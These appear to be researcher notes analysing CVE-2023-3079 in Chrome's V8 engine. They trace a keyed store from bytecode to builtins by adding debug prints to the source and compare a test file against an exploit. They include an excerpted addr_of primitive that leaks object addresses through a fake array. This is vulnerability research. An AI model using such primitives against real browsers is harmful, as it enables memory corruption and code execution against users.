notes 4 Alex Chapman.md

test.js

var arr = new Array(1.1, 2.2, 3.3);
function test(obj) {
    arr[0] = obj;
}
test({});

Print bytecode of test function:

d8.exe --allow-natives-syntax --print-bytecode --print-bytecode-filter="test" C:\CVE-2023-3079\test.js

LdaGlobal [0], [0]
Star0
LdaZero
Star1
Ldar a0
SetKeyedProperty r0, r1, [2]
LdaUndefined
Return

We see the important bytecode opcode is SetKeyedProperty

Use ripgrep to search for this opcode

rg "SetKeyedProperty"

One of the results is an IGNITION_HANDLER. We know the ignition is the V8 interpreter so lets start here:

IGNITION_HANDLER(SetKeyedProperty, InterpreterAssembler) 1

  CallBuiltin(Builtin::kKeyedStoreIC, context, object, name, value, slot, maybe_vector);

The ignition handler calls a builtin generator.

Builtins::Generate_KeyedStoreIC 2

AccessorAssembler::GenerateKeyedStoreIC 3

AccessorAssembler::KeyedStoreIC 4

Eventually this calls AccessorAssembler::KeyedStoreIC - this function checks a number of feedback cases e.g. MONOMORPHIC, POLYMOPRHIC, MEGAMEGAMORPHIC, NOFEEDBACK. By placing a "Print" statement at the beginning of each case we can find which one is taken at runtime. E.g.

    BIND(&if_handler);
    { 
       Print("KeyedStoreIC - if_handler");
       ...
       ...
    }

We then compile the modified V8 and run our test file

d8.exe --allow-natives-syntax C:\CVE-2023-3079\test.js

it reveals that the "no_feedback" case it taken. This case calls the "KeyedStoreIC_Megamorphic" builtin. 5

    BIND(&no_feedback);
    {
        TailCallBuiltin(Builtin::kKeyedStoreIC_Megamorphic, p->context(),
                        p->receiver(), p->name(), p->value(), p->slot());
    }

We use ripgrep again to find the "KeyedStoreIC_Megamorphic" builtin.

rg "KeyedStoreIC_Megamorphic"

Builtins::Generate_KeyedStoreIC_Megamorphic 5

KeyedStoreGenericGenerator::Generate 6

KeyedStoreGenericAssembler::KeyedStoreGeneric 7

KeyedStoreGenericAssembler::KeyedStoreGeneric 8

In "KeyedStoreGenericAssembler::KeyedStoreGeneric" we see a number of cases for handling different key cases. It's clear that the "if_index" case is the one that is relevant to us. 9

  BIND(&if_index);
  {
    Comment("integer index");
    EmitGenericElementStore(CAST(receiver), receiver_map, instance_type,
                            var_index.value(), value, context, &slow);
  }

In the KeyedStoreGenericAssembler::EmitGenericElementStore 10 there is a number of cases - e.g. "if_array", "if_in_bounds", "if_increment_length_by_one", "if_bump_length_with_gap", "if_grow", "if_nonfast", "if_dictionary", "if_typed_array", "if_shared_array". Again we will determine which cases are taken at runtime by putting a print statement for each respective case. E.g.

  BIND(&if_array);
  {
     Print("KeyedStoreGenericAssembler::EmitGenericElementStore - if_array");
     ...
  }

Recompile V8 again and run the test file again:

d8.exe --allow-natives-syntax C:\CVE-2023-3079\test.js

this reveals that the "if_array" and "if_in_bounds" cases are taken.

KeyedStoreGenericAssembler::EmitGenericElementStore - if_array 
KeyedStoreGenericAssembler::EmitGenericElementStore - if_in_bounds

The "if_in_bounds" case calls "StoreElementWithCapacity" 11

    StoreElementWithCapacity(receiver, receiver_map, elements, elements_kind,
                             index, value, context, slow, kDontChangeLength);

The "KeyedStoreGenericAssembler::StoreElementWithCapacity" function is very complicated. Again, we can liberally pepper the function with "Print" statements to determine which codepaths are taken.

Again we will test by running test.js. This reveals that the "check_double_elements" case it taken. 15

We will now test using the "addr_of" function in exploit.js. We will modify it so it's easier to see the result.

function addr_of(obj) {
    large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
    large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
 
    %GlobalPrint("BEFORE =========================");
    fake_arr[0] = obj;
    %GlobalPrint("AFTER ==========================");
    let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;
    
    large_arr[1] = itof(0n | (smi(0n) << 32n)); 
    
    return result;
}

d8.exe --allow-natives-syntax C:\CVE-2023-3079\exploit.js

This reveals the "hole_check_passed" 12 and "non_smi_value" 13 cases are taken. In the non_smi_value case we see that the generated code stores the value, updates the length of the array then returns. 14

We compare the results of test.js and exploit.js and we start to understand the "check_double_elements" check is responsible for the unexpected results.

  TNode<Map> elements_map = LoadMap(elements);
  GotoIf(IsNotFixedArrayMap(elements_map), &check_double_elements);

This explains why the fake_arr map never transitions. When we setup the fake_arr we make it so the elements pointers points to a fake FixedArray. As the fake_arr points to a FixedArray not a FixedDoubleArray the logic for transitioning for a DOUBLE_* ElementsKind is missed.

If we try "%DebugPrint(new Array(1.1, 2.2, 3.3))" we see the elements map is a "FixedDoubleArray".

 - elements: 0x031a0004c0d5 <FixedDoubleArray[3]> {
           0: 1.1
           1: 2.2
           2: 3.3